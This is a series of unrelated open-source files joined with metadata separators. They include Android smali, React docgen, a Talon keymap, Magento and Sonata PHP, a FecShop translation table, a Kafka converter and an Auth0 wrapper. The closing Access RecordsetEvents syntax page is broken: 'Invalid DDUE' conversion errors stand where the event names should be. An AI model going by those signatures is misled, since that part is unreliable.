const-string/jumbo v0, "com.facebook.platform.action.request.OGMESSAGEPUBLISH_DIALOG"
return-object v0
.end method
.method public final getMinVersion()I
.locals 1
iget v0, p0, Lcom/facebook/share/internal/OpenGraphMessageDialogFeature;->minVersion:I
return v0
.end method
|
{
"pile_set_name": "Github"
}
|
/* eslint-disable */
exports.event = {
"description": "",
"props": {
"children": {
"type": {
"name": "node"
},
"required": false,
"description": ""
},
"className": {
"type": {
"name": "any"
},
"required": false,
"description": ""
},
"component": {
"type": {
"name": "union",
"value": [
{
"name": "element"
},
{
"name": "string"
}
]
},
"required": false,
"description": "",
"defaultValue": {
"value": "'div'",
"computed": false
}
}
}
}
/* eslint-enable */
/* eslint-disable */
exports.feed = {
"description": "",
"props": {
"children": {
"type": {
"name": "node"
},
"required": false,
"description": ""
},
"className": {
"type": {
"name": "any"
},
"required": false,
"description": ""
},
"component": {
"type": {
"name": "union",
"value": [
{
"name": "element"
},
{
"name": "string"
}
]
},
"required": false,
"description": "",
"defaultValue": {
"value": "'div'",
"computed": false
}
},
"defaultClasses": {
"type": {
"name": "bool"
},
"required": false,
"description": "",
"defaultValue": {
"value": "true",
"computed": false
}
},
"size": {
"type": {
"name": "string"
},
"required": false,
"description": ""
}
}
}
/* eslint-enable */
|
{
"pile_set_name": "Github"
}
|
from talon.voice import Context, Key
ctx = Context("bit-bucket", func=lambda app, win: "Bitbucket" in win.title)
keymap = {
# All Pages
"shortcuts": Key("?"),
"left navigation": Key("["),
"site search": Key("/"),
# Most Pages (except your work and repository source)
"omnibar": Key("."),
"next item": Key("j"),
"last item": Key("k"),
"selected": Key("o"),
"dashboard": Key("g d"),
"settings": Key("g a"),
"remove focus": Key("esc"),
"go back": Key("u"),
"right navigation": Key("]"),
# Repository source
"focus": Key("f"),
# Repository pages (except source)
"create": Key("c r"),
"import": Key("i r"),
"source": Key("r s"),
"view commits": Key("r c"),
"view branches": Key("r b"),
"pull requests": Key("r p"),
"issues": Key("r i"),
"wiki": Key("r w"),
"downloads": Key("r d"),
"repo settings": Key("r a"),
"find file": Key("f"),
# Repository pages (except source and settings)
"fork": Key("x f"),
"create branch": Key("x b"),
"compare": Key("x c"),
"create pull request": Key("x p"),
"create issue": Key("x i"),
# Pull Requests
"submit comment": Key("ctrl+enter"),
"inline comments": Key("t c"),
"diff tab": Key("p d"),
"commits tab": Key("p c"),
"activity tab": Key("p a"),
"show tasks": Key("shift-t"),
}
ctx.keymap(keymap)
|
{
"pile_set_name": "Github"
}
|
<?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
namespace Magento\Sales\Test\Constraint;
use Magento\Mtf\Constraint\AbstractConstraint;
use Magento\Sales\Test\Page\Adminhtml\OrderIndex;
use Magento\Sales\Test\Page\Adminhtml\SalesOrderView;
/**
* Assert that deny payment message exists in Comments History section on order page in Admin.
*
* Constraint checks deny payment message in order comments history
*/
class AssertDenyPaymentMessageInCommentsHistory extends AbstractConstraint
{
/**
* Deny payment message.
*
* @var string
*/
private static $message = 'Denied the payment online';
/**
* Assert that deny payment message exists in Comments History section on order page in Admin.
*
* @param SalesOrderView $salesOrderView
* @param OrderIndex $orderIndex
* @param $orderId
* @return void
*/
public function processAssert(SalesOrderView $salesOrderView, OrderIndex $orderIndex, $orderId)
{
$orderIndex->open();
$orderIndex->getSalesOrderGrid()->searchAndOpen(['id' => $orderId]);
/** @var \Magento\Sales\Test\Block\Adminhtml\Order\View\Tab\Info $infoTab */
$infoTab = $salesOrderView->getOrderForm()->openTab('info')->getTab('info');
$latestComment = $infoTab->getCommentsHistoryBlock()->getLatestComment();
\PHPUnit\Framework\Assert::assertContains(self::$message, $latestComment['comment']);
}
/**
* Returns a string representation of the object.
*
* @return string
*/
public function toString()
{
return 'Message about denied payment is available in Comments History section.';
}
}
|
{
"pile_set_name": "Github"
}
|
namespace Shriek.ServiceProxy.Socket.Core
{
/// <summary>
/// 定义滤过器的接口
/// </summary>
public interface IFilter
{
/// <summary>
/// 执行顺序
/// 最小的值优先执行
/// </summary>
int Order { get; }
/// <summary>
/// 获取是否允许多个实例存在
/// </summary>
bool AllowMultiple { get; }
/// <summary>
/// 在执行Api行为前触发
/// </summary>
/// <param name="filterContext">上下文</param>
/// <returns></returns>
void OnExecuting(IActionContext filterContext);
/// <summary>
/// 在执行Api行为后触发
/// </summary>
/// <param name="filterContext">上下文</param>
void OnExecuted(IActionContext filterContext);
/// <summary>
/// 在Api执行中异常时触发
/// </summary>
/// <param name="filterContext">上下文</param>
void OnException(IExceptionContext filterContext);
}
}
|
{
"pile_set_name": "Github"
}
|
<?php
namespace App\Admin;
use App\Entity\Article;
use Sonata\AdminBundle\Admin\AbstractAdmin;
use Sonata\AdminBundle\Datagrid\DatagridMapper;
use Sonata\AdminBundle\Datagrid\ListMapper;
use Sonata\AdminBundle\Form\FormMapper;
use Sonata\CoreBundle\Form\Type\DatePickerType;
use Sonata\CoreBundle\Model\Metadata;
use Symfony\Component\Form\Extension\Core\Type\CheckboxType;
use Symfony\Component\Form\Extension\Core\Type\TextareaType;
use Symfony\Component\Form\Extension\Core\Type\TextType;
class ArticleAdmin extends AbstractAdmin
{
protected $datagridValues = [
'_page' => 1,
'_per_page' => 32,
'_sort_order' => 'DESC',
'_sort_by' => 'publishedAt',
];
/**
* @param Article $object
*
* @return Metadata
*/
public function getObjectMetadata($object)
{
return new Metadata($object->getTitle(), $object->getDescription(), $object->getMedia()->getPath());
}
public function getTemplate($name)
{
if ('outer_list_rows_mosaic' === $name) {
return 'admin/media/mosaic.html.twig';
}
return parent::getTemplate($name);
}
protected function configureFormFields(FormMapper $formMapper)
{
$formMapper
->with('Méta-données', ['class' => 'col-md-8'])
->add('title', TextType::class, [
'label' => 'Titre',
'filter_emojis' => true,
])
->add('description', TextareaType::class, [
'label' => 'Description',
'filter_emojis' => true,
])
->add('twitterDescription', TextareaType::class, [
'label' => 'Description pour Twitter',
'filter_emojis' => true,
'required' => false,
])
->add('keywords', null, [
'label' => 'Mots clés de recherche',
'required' => false,
])
->add('media', null, [
'label' => 'Image principale',
'required' => false,
])
->add('displayMedia', CheckboxType::class, [
'label' => 'Afficher l\'image principale dans l\'article',
'required' => false,
])
->add('themes', null, [
'label' => 'Thèmes',
])
->end()
->with('Publication', ['class' => 'col-md-4'])
->add('published', CheckboxType::class, [
'label' => 'Publier l\'article',
'required' => false,
])
->add('publishedAt', DatePickerType::class, [
'label' => 'Date de publication',
])
->add('slug', null, [
'label' => 'URL de publication',
'help' => 'Ne spécifier que la fin : http://en-marche.fr/articles/[votre-valeur]<br />Doit être unique',
])
->add('category', null, [
'label' => 'Catégorie de publication',
])
->end()
->with('Contenu', ['class' => 'col-md-12'])
->add('content', TextareaType::class, [
'label' => 'Contenu',
'required' => false,
'filter_emojis' => true,
'attr' => ['class' => 'content-editor', 'rows' => 20],
])
->end()
;
}
protected function configureDatagridFilters(DatagridMapper $datagridMapper)
{
$datagridMapper
->add('title', null, [
'label' => 'Titre',
'show_filter' => true,
])
->add('category', null, [
'label' => 'Catégorie',
])
;
}
protected function configureListFields(ListMapper $listMapper)
{
$listMapper
->addIdentifier('title', null, [
'label' => 'Nom',
])
->add('category', null, [
'label' => 'Catégorie',
])
->add('published', null, [
'label' => 'Publié ?',
])
->add('publishedAt', null, [
'label' => 'Date de publication',
])
->add('updatedAt', null, [
'label' => 'Dernière mise à jour',
])
->add('_action', null, [
'virtual_field' => true,
'actions' => [
'preview' => [
'template' => 'admin/article/list_preview.html.twig',
],
'edit' => [],
'delete' => [],
],
])
;
}
}
|
{
"pile_set_name": "Github"
}
|
<?php
/**
* FecShop file.
*
* @link http://www.fecshop.com/
* @copyright Copyright (c) 2016 FecShop Software LLC
* @license http://www.fecshop.com/license/
*/
return [
'fecshop' => 'zh_CN app fecshop',
// 页面底部条款部分
// 'Follow Us' => '关注我们',
// 'Follow us in social media' => '在社交平台关注我们',
// 'Sign up for newsletter' => '订阅邮件',
// 'General Links' => '文字条款',
'Enter your email adress' =>'输入您的邮箱',
'Contact Us' => '联系我们',
'Shopping Cart' => '购物车',
'Return Policy' => '退款条约',
'Privacy Policy' => '隐私条约',
'About Us' => '关于我们',
'My Favorite' => '我的收藏',
'My Reviews' => '我的评论',
'My Order' => '我的订单',
'My Account' => '我的账户',
'Site Map' => '网站地图',
'Wx Micro Program' => '微信小程序',
'Feature Product' => '人气推荐',
// 'Follow' => '关注我们',
// 'Newsletter' => '订阅邮件',
// 'All rights reserved' => '保留所有权利',
//'Copyright Notice' => '版权声明',
'Captcha can not empty' => '验证码不能为空',
// 首页
'Language' => '语言',
'Currency' => '货币',
// 顶部页面部分
'Welcome!' => '欢迎您!',
'Logout' => '退出',
'Sign In / Join Free' => '登录账户',
'My Orders' => '我的订单',
'My Favorites' => '我的收藏',
'My Review' => '我的评论',
'Products keyword' => '搜索产品',
// 自定义菜单翻译
'custom menu' => '自定义菜单',
'my custom menu 2' => '我的自定义菜单2',
'my custom menu 3' => '我的自定义菜单3',
'Home' => '首页',
// 首页的产品列表块
'best seller' => '热销产品',
'featured products' => '特色产品',
'more' => '更多',
// 分类页面翻译
'Sort By' => '排序',
'Sort' => '排序',
'Filter' => '过滤',
'Hot' => '销量',
'Review' => '评论',
'Favorite' => '收藏',
'New' => '上架时间',
'$ Low to High' => '¥ 价格由低到高',
'$ High to Low' => '¥ 价格由高到低',
'Refine By' => '过滤选项',
'clear all' => '清空所有过滤',
// 分类侧栏属性过滤
'style' => '风格',
'dresses-length' => '裙长',
'Sexy & Club' => '性感&俱乐部',
// 用户登录页面
'Login or Create an Account' => '登录 创建用户',
'New Customers' => '新用户',
'By creating an account with our store, you will be able to move through the checkout process faster, store multiple shipping addresses, view and track your orders in your account and more.' => '在我们的店铺里面注册账户,您可以快速的下单,保存您的货运地址,查看或追踪您的订单信息,等等',
'Register' => '注册',
'Login' => '登录',
'E-mail' => '邮箱地址',
'Registered Customers' => '已注册用户',
'If you have an account with us, please log in.' => '如果您已经注册了一个用户,请直接登录',
'Email Address' => '邮箱地址',
'Password' => '密码',
'Captcha' => '验证码',
'click refresh' => '点击刷新',
'Sign In' => '登录',
'Forgot Your Password?' => '忘记密码?',
'user password is not correct' => '用户的账号密码不正确',
// newsletter
'ERROR,Your email address has subscribe , Please do not repeat the subscription' => '您的电子邮件地址已订阅,请不要重复订阅',
'newsletter email address is empty' => '邮件订阅邮箱地址为空',
'The email address format is incorrect!' => '电子邮件地址格式不正确!',
'Your subscribed email was successful, You can {urlB} click Here to Home Page {urlE}, Thank You.' => '您的订阅电子邮件已成功,您可以{urlB}点击此处访问主页{urlE},谢谢。',
// 用户注册页面
'Create an Account' => '创建新账户',
'Personal Information' => '个人账户信息',
'First Name' => '名',
'Last Name' => '姓',
'Sign Up for Newsletter' => '订阅邮件',
'Login Information' => '登录信息',
'Confirm Password' => '确认密码',
'Captcha' => '验证码',
'Submit' => '提交',
'Back' => '返回',
'This is a required field.' => '这是一个必填选项',
'Please enter a valid email address. For example johndoe@domain.com.' => '请填写一个正确的邮箱,譬如:johndoe@domain.com。',
'first name length must between' => '名字的长度范围:',
'last name length must between'=> '姓的长度范围',
'Please enter 6 or more characters. Leading or trailing spaces will be ignored.' => '请输入6个或更多字符。 前导或尾随空格将被忽略。',
'Please make sure your passwords match. ' => '请确保您的密码和确认密码一致。',
'Captcha is not right' => '验证码不正确',
'Email is not a valid email address.' => '您输入的邮箱格式格式不正确',
// 用户中心页面
'My Dashboard' => '我的信息中心',
'Hello' => '你好',
'From your My Account Dashboard you have the ability to view a snapshot of your recent account activity and update your account information. Select a link below to view or edit information.' => '您可以在我的帐户信息中心查看最近帐户活动的快照,并更新您的帐户信息。 选择以下链接可查看或编辑信息。',
'Contact Information' => '联系信息',
'Edit' => '编辑',
'My Address Book' => '我的货运地址',
'You Can Manager Your Address' => '您可以编辑您的货运地址',
'Manager Addresses' => '编辑货运地址',
'My Order' => '我的订单',
'You Can View Your Order' => '您可以查看您的订单信息',
'View' => '查看',
'Account Dashboard' => '帐户中心',
'Account Information' => '账户信息',
'Address Book' => '货运地址',
'My Product Reviews' => '我的产品评论',
// 账户中心密码找回
'Forgot Password' => '密码找回',
'Your Email Address' => '您的邮箱地址',
'Confirm your identity to reset password' => '确认您的身份',
'Send Authorization Code' => '发送授权码',
'Reset Password' => '重置密码',
'Reset Password Success' => '重置密码成功',
'Confirm your identity to reset password ,If you still can\'t find it, click {logUrlB} support center {logUrlE} for help' => '确认您的身份以重置密码,如果您仍旧没有发现邮件,点击{logUrlB}帮助中心{logUrlE}寻求帮助',
'email is not exist' => '该邮箱不存在',
'We\'ve sent a message to the email address' => '我们已经发送了一封邮件给这个邮箱地址',
'Please follow the instructions provided in the message to reset your password.' => '请按照消息中提供的说明重置密码。',
'Didn\'t receive the mail from us?' => '没有收到我们的邮件?',
'Check your bulk or junk email folder.' => '检查您的批量或垃圾电子邮件文件夹。',
'click here to retry' => '点击这里重试',
'click here' => '点击这里',
'Email address do not exist, please {logUrlB} click here {logUrlE} to re-enter!' => '邮件地址不存在,请{logUrlB}点击这里{logUrlE}重新进入',
'Select your new password' => '请填写您的新密码',
'Reset you account success, you can {logUrlB} click here {logUrlE} to login .' => '重置密码成功,您可以{logUrlB}点击这里{logUrlE}进行登录',
'Your Reset Password Token is Expired, You can {logUrlB} click here {logUrlE} to retrieve it ' => '您重置密码的token已经过期,您可以{logUrlB}点击这里{logUrlE}重新发送',
// 用户中心 - 账户信息 - 编辑
'Edit Account' => '编辑账号',
'Change Password' => '更改密码',
'Current Password' => '当前密码',
'New Password' => '新密码',
'Confirm New Password' => '确认新密码',
'edit account info success' => '编辑账号信息成功',
// 用户中心 - 货运地址 - 编辑
'Country' => '国家',
'State' => '省',
'City' => '城市',
'street1' => '街道1',
'street2' => '街道2',
'Zip Code' => '邮政编码',
'Is Default' => '默认',
'Save Address' => '保存地址',
'You Must Fill All Field' => '您必须需填写所有的字段',
'Please select region, state or province' => '请选择地区,州或省',
'Edit Address' => '编辑收货地址',
// 用户中心 - 货运地址 - 列表
'Customer Address' => '客户地址',
'Address' => '地址',
'Operation' => '操作',
'Delete' => '删除',
'Default' => '默认',
'Add New Address' => '增加新地址',
'Modify' => '修改',
// 用户中心 - 我的订单 - 列表
'Page:' => '页数:',
'Reorder' => '重新下单',
'View Order' => '查看订单',
'Customer Order' => '我的订单',
'Order #' => '订单编号',
'Date' => '日期',
'Ship To' => '收货人',
'Order Total' => '订单总额',
'Order Status' => '订单状态',
// 用户中心 - 我的订单 - 详细
'Order#' => '订单编号',
'Order Status' => '订单状态',
'Order Date' => '订单日期',
'pending' => '未付款',
'pending' => '未付款',
'pending' => '未付款',
'suspected_fraud' => '涉嫌欺诈',
'processing' => '已付款',
'Shipping Address' => '货运地址',
'T:' => '手机/电话:',
'Payment Method' => '支付方式',
'Shipping Method' => '货运方式',
'Items Ordered' => '订单产品列表',
'Product Name' => '产品名称',
'Product Image' => '产品图片',
'Sku' => '产品编码',
'Price' => '价格',
'Qty' => '个数',
'Subtotal' => '小计',
'Shipping Cost' => '运费',
'Discount' => '折扣优惠',
'Grand Total' => '总额',
'Product Info' => '产品信息',
// 用户中心 - 我的产品评论
'Your Review is accept.' => '您的评论已通过',
'Your Review is refused.' => '您的评论已被拒绝',
'Your Review is awaiting moderation...' => '您的评论在等待审核',
// 用户中心 - 我的收藏
'Favorite Date:' => '收藏时间:',
// contacts页面
'Name' => '名字',
'Telephone' => '电话',
'Comment' => '留言内容',
'Contacts' => '联系我们',
'Contact us Send Success' => '联系我们发送成功',
// 产品详细页面 - 颜色尺码
'My Color:' => '我的颜色:',
'My Size:' => '我的尺码:',
'My Size2:' => '我的尺码2:',
'My Size3:' => '我的尺码3:',
'Color:' => '颜色:',
'color:' => '颜色:',
'color' => '颜色',
'size' => '尺码',
'Size:' => '尺码:',
//'color' => '颜色',
//'size' => '尺码',
'one-color' => '单色',
'red' => '红色',
'white' => '白色',
'black' => '黑色',
'blue' => '蓝色',
'green' => '绿色',
'yellow' => '黄色',
'gray' => '灰色',
'khaki' => '黄褐色',
'ivory' => '象牙色',
'beige' => '米色',
'orange' => '橙色',
'cyan' => '青色',
'leopard' => '豹纹',
'camouflage' => '伪装色',
'silver' => '银白色',
'pink' => '粉红色',
'purple' => '紫色',
'brown' => '棕色',
'golden' => '金色',
'multicolor' => '彩色',
'white & blue' => '白 & 蓝',
'white & black' => '白 & 黑',
// 产品详细页面 - 产品描述部分
'price' => '产品价格',
'You already favorite this product' => '您已经收藏该产品',
'Average rating' => '平均评分',
'reviews' => '评论',
'Item Code:' => '产品编号:',
'Qty:' => '个数:',
'Add To Cart' => '加入购物车',
'Add to Favorites' => '收藏该产品',
'Description' => '产品描述',
'Reviews' => '评论',
'Shipping & Payment' => '货运 & 支付',
'Customers Who Bought This Item Also Bought' => '买个这个产品的用户还买的产品',
'weight' => '重量',
'long' => '长',
'width' => '宽',
'high' => '高',
'volume weight' => '体积重',
// 产品详细页面 - 支付描述部分
'Payment Methods:' => '支付方式:',
'FECSHOP.com accepts PayPal, Credit Card, Western Union and Wire Transfer as secure payment methods:' => 'FECSHOP.com接受 贝宝,信用卡,西联汇款和电汇作为安全支付方式:',
'Global:' => '全部:',
'1. PayPal' => '1. 贝宝',
'1) Login To Your Account or use Credit Card Express.' => '1)登录到您的帐户或使用信用卡。',
'2) Enter your Card Details, the order will be shipped to your PayPal address. And click "Submit".' => '2)输入您的信用卡详情,订单将发送到您的贝宝地址。 然后点击“提交”。',
'3) Your Payment will be processed and a receipt will be sent to your email inbox.' => '3)您的付款将被处理,并且收据将发送到您的电子邮件收件箱。',
'1) Choose your shipping address OR create a new one.' => '1)选择您的送货地址或创建一个新的。',
'2) Enter your Card Details and click "Submit".' => '2)输入您的信用卡详细信息,然后单击“提交”。',
'3) Your Payment will be processed and a receipt will be sent to your email inbox.' => '3)您的付款将被处理,并且收据将发送到您的电子邮件收件箱。',
'2. Credit Card' => '2. 信用卡',
// 产品评论部分
'Rate' => '评分',
'Your Name' => '您的名字',
'Review content can not empty' => '评论内容不能为空',
'Summary of Your Review' => '您的产品评论概要',
'Your review content' => '您的产品评论内容',
'Summary can not empty' => '评论概要不能为空',
'Average rating :' => '平均评分',
'Product Review' => '产品评论',
'By' => '由',
'Your comment is awaiting moderation' => '您的评论正在等待审核',
'Add Review' => '添加评论',
'View All Review' => '查看所有评论',
'Wholesale Prices :' => '批发价格:',
'Price:' => '价格:',
'Summary' => '概要',
// 产品搜索页面
'Show Per Page:' => '每页个数',
'Search results for \'{searchText}\' returns no results' => '搜索词 \'{searchText}\',找不到搜索结果',
// 购物车
'Your Shopping Cart is empty' => '您的购物车为空',
'Start shopping now!' => '现在开始购物',
'Please {urlB}log in{urlE} to view the products you have previously added to your Shopping Cart.' => '请{urlB}登录{urlE}您的账户来查看你之前加入购物车的产品',
'You have no items in your favorite.' => '您没有收藏过产品',
'You have submitted no reviews'=> '您没有提交过评论',
'Unit Price' => '单价',
'Discount Codes' => '优惠券',
'Enter your coupon code if you have one.' => '如果您有优惠券,请在下面填写',
'Cancel Coupon' => '取消优惠券',
'Add Coupon' => '添加优惠券',
'Dashboard' => '我的信息中心',
'Dashboard' => '我的信息中心',
'OR' => '或',
'Proceed to Pay' => '继续支付',
'Add Coupon' => '添加优惠券',
// 购物车优惠券
'Coupon is not available or has expired' => '优惠券不可用或已过期',
'add coupon fail' => '添加优惠券失败',
'The coupon can not be used if the product amount in the shopping cart is less than {conditions} dollars' => '如果您的购物车金额小于{conditions}美元,该优惠券是不可用的',
// 下单页面
'Checkout' => '支付',
'Welcome to the checkout,Fill in the fields below to complete your purchase' => '欢迎结帐,填写以下字段以完成购买',
'Already registered? Click here to login' => '已经注册? 点击此处登录',
'Coupon codes (optional)' => '优惠券代码(可选)',
'Place order now' => '支付订单',
'Please wait, processing your order...' => '正在处理您的订单,请稍候...',
'Create an account for later use' => '创建帐户以供以后使用',
'Billing address' => '帐单地址',
'Street' => '街道',
'New Address' => '新地址',
'Check / Money Order' => '现金支付',
'product: [ {product_name} ] is stock out' => '产品:[ {product_name} ] 没有足够的库存',
'Off-line Money Payments' => '线下现金支付',
'PayPal Website Payments Standard' => '贝宝标准支付',
'You will be redirected to the PayPal website when you place an order. ' => '当您下订单时,您将被重定向到PayPal网站。',
'Free shipping( 7-20 work days)' => '免邮费( 7-20 工作日)',
'Fast Shipping( 5-10 work days)' => '快速邮寄( 5-10 工作日)',
'Review your order' => '订单详细',
'you must login your account before you use coupon' => '您必须在使用优惠券之前登录您',
'email address is empty, you must Fill in email' => '电子邮件地址为空,您必须填写电子邮件',
'email address format is incorrect' => '电子邮件地址格式不正确',
'This email is registered , you must fill in another email' => '此电子邮件已注册,您必须填写另一封电子邮件',
'Password length must be greater than or equal to {passwdMinLength}' => '密码长度必须大于或等于{passwdMinLength}',
'Password length must be less than or equal to {passwdMaxLength}' => '密码长度必须小于或等于{passwdMaxLength}',
'The passwords are inconsistent' => '密码不一致',
'All Category' => '全部分类',
'Product Name: {product_name}, The product is not in stock' => '产品名称: {product_name}, 产品没有库存了',
'Follow' => '关注我们',
'Brand' => '品牌',
'this email is exist!' => '该邮箱地址已经被注册',
// paypal 跳转中间页面
'Click here if you are not redirected within 10 seconds ...' => '如果您在10秒内未重定向,请点击此处...',
'You will be redirected to the PayPal website in a few seconds...' => '您将在几秒钟后重定向到PayPal网站...',
// 订单支付成功页面
'Continue Shopping' => '继续购物',
'Your order has been received,Thank you for your purchase!' => '您的订单已收到,感谢您的购买!',
'Your order # is:' => '您的订单#是:',
'You will receive an order confirmation email with details of your order and a link to track its progress.' => '您将收到一封订单确认电子邮件,其中包含您订单的详细信息以及用于跟踪其进度的链接。',
// 404 页面
'We Couldn’t Find this Page' => '我们无法找到这个页面',
'Please contact us if you think this is a server error, Thank you.' => '如果您认为这是服务器错误,请与我们联系,谢谢。',
'Bring me back Home' => '带我去首页',
];
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright Strimzi authors.
* License: Apache License 2.0 (see the file LICENSE or http://apache.org/licenses/LICENSE-2.0.html).
*/
package io.strimzi.kafka.bridge.http.converter;
import io.strimzi.kafka.bridge.converter.MessageConverter;
import io.vertx.core.buffer.Buffer;
import io.vertx.core.json.JsonArray;
import io.vertx.core.json.JsonObject;
import io.vertx.kafka.client.consumer.KafkaConsumerRecord;
import io.vertx.kafka.client.consumer.KafkaConsumerRecords;
import io.vertx.kafka.client.producer.KafkaHeader;
import io.vertx.kafka.client.producer.KafkaProducerRecord;
import io.vertx.kafka.client.producer.impl.KafkaHeaderImpl;
import javax.xml.bind.DatatypeConverter;
import java.util.ArrayList;
import java.util.List;
public class HttpBinaryMessageConverter implements MessageConverter<byte[], byte[], Buffer, Buffer> {
@Override
public KafkaProducerRecord<byte[], byte[]> toKafkaRecord(String kafkaTopic, Integer partition, Buffer message) {
Integer partitionFromBody = null;
byte[] key = null;
byte[] value = null;
List<KafkaHeader> headers = new ArrayList<>();
JsonObject json = message.toJsonObject();
if (!json.isEmpty()) {
if (json.containsKey("key")) {
key = DatatypeConverter.parseBase64Binary(json.getString("key"));
}
if (json.containsKey("value")) {
value = DatatypeConverter.parseBase64Binary(json.getString("value"));
}
if (json.containsKey("headers")) {
for (Object obj: json.getJsonArray("headers")) {
JsonObject jsonObject = (JsonObject) obj;
headers.add(new KafkaHeaderImpl(
jsonObject.getString("key"),
Buffer.factory.buffer(
DatatypeConverter.parseBase64Binary(jsonObject.getString("value")))));
}
}
if (json.containsKey("partition")) {
partitionFromBody = json.getInteger("partition");
}
if (partition != null && partitionFromBody != null) {
throw new IllegalStateException("Partition specified in body and in request path");
}
if (partition != null) {
partitionFromBody = partition;
}
}
KafkaProducerRecord<byte[], byte[]> record = KafkaProducerRecord.create(kafkaTopic, key, value, partitionFromBody);
record.addHeaders(headers);
return record;
}
@Override
public List<KafkaProducerRecord<byte[], byte[]>> toKafkaRecords(String kafkaTopic, Integer partition, Buffer messages) {
List<KafkaProducerRecord<byte[], byte[]>> records = new ArrayList<>();
JsonObject json = messages.toJsonObject();
JsonArray jsonArray = json.getJsonArray("records");
for (Object obj : jsonArray) {
JsonObject jsonObj = (JsonObject) obj;
records.add(toKafkaRecord(kafkaTopic, partition, jsonObj.toBuffer()));
}
return records;
}
@Override
public Buffer toMessage(String address, KafkaConsumerRecord<byte[], byte[]> record) {
throw new UnsupportedOperationException();
}
@Override
public Buffer toMessages(KafkaConsumerRecords<byte[], byte[]> records) {
JsonArray jsonArray = new JsonArray();
for (int i = 0; i < records.size(); i++) {
JsonObject jsonObject = new JsonObject();
KafkaConsumerRecord<byte[], byte[]> record = records.recordAt(i);
jsonObject.put("topic", record.topic());
jsonObject.put("key", record.key() != null ?
DatatypeConverter.printBase64Binary(records.recordAt(i).key()) : null);
jsonObject.put("value", record.value() != null ?
DatatypeConverter.printBase64Binary(records.recordAt(i).value()) : null);
jsonObject.put("partition", record.partition());
jsonObject.put("offset", record.offset());
if (!record.headers().isEmpty()) {
JsonArray headers = new JsonArray();
for (KafkaHeader kafkaHeader: record.headers()) {
JsonObject header = new JsonObject();
header.put("key", kafkaHeader.key());
header.put("value", DatatypeConverter.printBase64Binary(kafkaHeader.value().getBytes()));
headers.add(header);
}
jsonObject.put("headers", headers);
}
jsonArray.add(jsonObject);
}
return jsonArray.toBuffer();
}
}
|
{
"pile_set_name": "Github"
}
|
package com.auth0.android.lock;
import android.app.Activity;
import android.content.Intent;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
import com.auth0.android.lock.internal.configuration.Options;
import com.auth0.android.provider.AuthCallback;
import com.auth0.android.provider.WebAuthProvider;
import java.util.HashMap;
import java.util.Map;
/**
* The WebProvider class is an internal wrapper for calls to the WebAuthProvider static methods.
* This is only for testing purposes.
*/
class WebProvider {
private final Options options;
/**
* Creates a new instance with the given account.
*
* @param options to use in the WebAuthProvider.Builder instances.
*/
WebProvider(@NonNull Options options) {
this.options = options;
}
/**
* Configures a new instance of the WebAuthProvider.Builder and starts it.
*
* @param activity a valid Activity context
* @param connection to use in the authentication
* @param extraAuthParameters extra authentication parameters to use along with the provided in the Options instance
* @param callback to deliver the authentication result to
* @param requestCode to use in the startActivityForResult request
*/
public void start(@NonNull Activity activity, @NonNull String connection, @Nullable Map<String, Object> extraAuthParameters, @NonNull AuthCallback callback, int requestCode) {
HashMap<String, Object> parameters;
if (extraAuthParameters == null) {
parameters = options.getAuthenticationParameters();
} else {
parameters = new HashMap<>(options.getAuthenticationParameters());
parameters.putAll(extraAuthParameters);
}
//noinspection deprecation
WebAuthProvider.Builder builder = WebAuthProvider.init(options.getAccount())
.useBrowser(options.useBrowser())
.withParameters(parameters)
.withConnection(connection);
final String connectionScope = options.getConnectionsScope().get(connection);
if (connectionScope != null) {
builder.withConnectionScope(connectionScope);
}
final String scope = options.getScope();
if (scope != null) {
builder.withScope(scope);
}
final String audience = options.getAudience();
if (audience != null && options.getAccount().isOIDCConformant()) {
builder.withAudience(audience);
}
final String scheme = options.getScheme();
if (scheme != null) {
builder.withScheme(scheme);
}
//noinspection deprecation
builder.start(activity, callback, requestCode);
}
/**
* Finishes the authentication flow in the WebAuthProvider
*
* @param intent the intent received in the onNewIntent method.
* @return true if a result was expected and has a valid format, or false if not
*/
public boolean resume(Intent intent) {
return WebAuthProvider.resume(intent);
}
/**
* Finishes the authentication flow in the WebAuthProvider
*
* @param requestCode the request code received on the onActivityResult method
* @param resultCode the result code received on the onActivityResult method
* @param intent the intent received in the onActivityResult method.
* @return true if a result was expected and has a valid format, or false if not
*/
public boolean resume(int requestCode, int resultCode, Intent intent) {
//noinspection deprecation
return WebAuthProvider.resume(requestCode, resultCode, intent);
}
}
|
{
"pile_set_name": "Github"
}
|
---
title: RecordsetEvents (Visual C++ syntax index with import)
ms.prod: access
ms.assetid: aa99a006-3968-3853-030d-ef143c4ef7b0
ms.date: 10/12/2018
localization_priority: Normal
---
# RecordsetEvents (Visual C++ syntax index with #import)
**Applies to:** Access 2013 | Access 2016
## Events
```cs
HRESULT Invalid DDUE based on source, error:link not allowed in code, link filename:mdevtwillchangefield_HV10294950.xml( long cFields , const
_variant_t & Fields , enum EventStatusEnum * adStatus , struct
_Recordset * pRecordset );
HRESULT Invalid DDUE based on source, error:link not allowed in code, link filename:mdevtwillchangefield_HV10294950.xml( long cFields , const
_variant_t & Fields , struct Error * pError , enum EventStatusEnum
* adStatus , struct _Recordset * pRecordset );
HRESULT Invalid DDUE based on source, error:link not allowed in code, link filename:mdevtwillchangerecord_HV10294951.xml( enum EventReasonEnum
adReason , long cRecords , enum EventStatusEnum * adStatus , struct
_Recordset * pRecordset );
HRESULT Invalid DDUE based on source, error:link not allowed in code, link filename:mdevtwillchangerecord_HV10294951.xml( enum EventReasonEnum
adReason , long cRecords , struct Error * pError , enum
EventStatusEnum * adStatus , struct _Recordset * pRecordset );
HRESULT Invalid DDUE based on source, error:link not allowed in code, link filename:mdevtwillchangerecordset_HV10294952.xml( enum EventReasonEnum
adReason , enum EventStatusEnum * adStatus , struct _Recordset *pRecordset );
HRESULT Invalid DDUE based on source, error:link not allowed in code, link filename:mdevtwillchangerecordset_HV10294952.xml( enum
EventReasonEnum adReason , struct Error * pError , enum
EventStatusEnum * adStatus , struct _Recordset * pRecordset );
HRESULT Invalid DDUE based on source, error:link not allowed in code, link filename:mdevtwillmove_HV10294955.xml( enum EventReasonEnum adReason , enum
EventStatusEnum * adStatus , struct _Recordset * pRecordset );
HRESULT Invalid DDUE based on source, error:link not allowed in code, link filename:mdevtwillmove_HV10294955.xml( enum EventReasonEnum adReason , struct
Error * pError , enum EventStatusEnum * adStatus , struct
_Recordset * pRecordset );
